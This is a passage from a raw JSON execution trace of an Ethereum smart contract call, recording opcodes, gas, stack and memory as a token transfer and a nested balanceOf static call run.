fffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2656,"op":"SWAP1","gas":31403,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2657,"op":"PUSH4","gas":31400,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2662,"op":"SWAP1","gas":31397,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x164","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2663,"op":"PUSH1","gas":31394,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2665,"op":"ADD","gas":31391,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x164","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2666,"op":"PUSH1","gas":31388,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2668,"op":"PUSH1","gas":31385,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2670,"op":"MLOAD","gas":31382,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x20","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2671,"op":"DUP1","gas":31379,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x20","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2672,"op":"DUP4","gas":31376,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x20","0x164","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2673,"op":"SUB","gas":31373,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x20","0x164","0x164","0x188"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2674,"op":"DUP2","gas":31370,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x20","0x164","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2675,"op":"DUP7","gas":31367,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x20","0x164","0x24","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2676,"op":"GAS","gas":31364,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x20","0x164","0x24","0x164","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":2677,"op":"STATICCALL","gas":31362,"gasCost":30874,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x20","0x164","0x24","0x164","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x7a82"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000170a082310000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000"]},{"pc":0,"op":"PUSH1","gas":30774,"gasCost":3,"depth":3,"stack":[],"memory":[]},{"pc":2,"op":"PUSH1","gas":30771,"gasCost":3,"depth":3,"stack":["0x80"],"memory":[]},{"pc":4,"op":"MSTORE","gas":30768,"gasCost":12,"depth":3,"stack":["0x80","0x40"],"memory":[]},{"pc":5,"op":"PUSH1","gas":30756,"gasCost":3,"depth":3,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7,"op":"CALLDATASIZE","gas":30753,"gasCost":2,"depth":3,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8,"op":"LT","gas":30751,"gasCost":3,"depth":3,"stack":["0x4","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":9,"op":"PUSH2","gas":30748,"gasCost":3,"depth":3,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12,"op":"JUMPI","gas":30745,"gasCost":10,"depth":3,"stack":["0x0","0xc0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13,"op":"PUSH1","gas":30735,"gasCost":3,"depth":3,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":15,"op":"CALLDATALOAD","gas":30732,"gasCost":3,"depth":3,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":16,"op":"PUSH1","gas":30729,"gasCost":3,"depth":3,"stack":["0x70a082310000000000000000000000001fa848857b24b9416355f4b4668a84c8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":18,"op":"SHR","gas":30726,"gasCost":3,"depth":3,"stack":["0x70a082310000000000000000000000001fa848857b24b9416355f4b4668a84c8","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":19,"op":"DUP1","gas":30723,"gasCost":3,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":20,"op":"PUSH4","gas":30720,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":25,"op":"GT","gas":30717,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231","0x313ce567"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":26,"op":"PUSH2","gas":30714,"gasCost":3,"depth":3,"stack":["0x70a08231","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":29,"op":"JUMPI","gas":30711,"gasCost":10,"depth":3,"stack":["0x70a08231","0x0","0x74"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":30,"op":"DUP1","gas":30701,"gasCost":3,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":31,"op":"PUSH4","gas":30698,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":36,"op":"GT","gas":30695,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231","0xa9059cbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":37,"op":"PUSH2","gas":30692,"gasCost":3,"depth":3,"stack":["0x70a08231","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":40,"op":"JUMPI","gas":30689,"gasCost":10,"depth":3,"stack":["0x70a08231","0x1","0x4e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":78,"op":"JUMPDEST","gas":30679,"gasCost":1,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":79,"op":"DUP1","gas":30678,"gasCost":3,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":80,"op":"PUSH4","gas":30675,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":85,"op":"EQ","gas":30672,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231","0x313ce567"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":86,"op":"PUSH2","gas":30669,"gasCost":3,"depth":3,"stack":["0x70a08231","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":89,"op":"JUMPI","gas":30666,"gasCost":10,"depth":3,"stack":["0x70a08231","0x0","0x18c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":90,"op":"DUP1","gas":30656,"gasCost":3,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":91,"op":"PUSH4","gas":30653,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":96,"op":"EQ","gas":30650,"gasCost":3,"depth":3,"stack":["0x70a08231","0x70a08231","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":97,"op":"PUSH2","gas":30647,"gasCost":3,"depth":3,"stack":["0x70a08231","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":100,"op":"JUMPI","gas":30644,"gasCost":10,"depth":3,"stack":["0x70a08231","0x1","0x1b8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":440,"op":"JUMPDEST","gas":30634,"gasCost":1,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":441,"op":"CALLVALUE","gas":30633,"gasCost":2,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":442,"op":"DUP1","gas":30631,"gasCost":3,"depth":3,"stack":["0x70a08231","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":443,"op":"ISZERO","gas":30628,"gasCost":3,"depth":3,"stack":["0x70a08231","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":444,"op":"PUSH2","gas":30625,"gasCost":3,"depth":3,"stack":["0x70a08231","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":447,"op":"JUMPI","gas":30622,"gasCost":10,"depth":3,"stack":["0x70a08231","0x0","0x1","0x1c4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":452,"op":"JUMPDEST","gas":30612,"gasCost":1,"depth":3,"stack":["0x70a08231","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":453,"op":"POP","gas":30611,"gasCost":2,"depth":3,"stack":["0x70a08231","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":454,"op":"PUSH2","gas":30609,"gasCost":3,"depth":3,"stack":["0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":457,"op":"PUSH2","gas":30606,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":460,"op":"CALLDATASIZE","gas":30603,"gasCost":2,"depth":3,"stack":["0x70a08231","0x13e","0x1d3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":461,"op":"PUSH1","gas":30601,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":463,"op":"PUSH2","gas":30598,"gasCost":3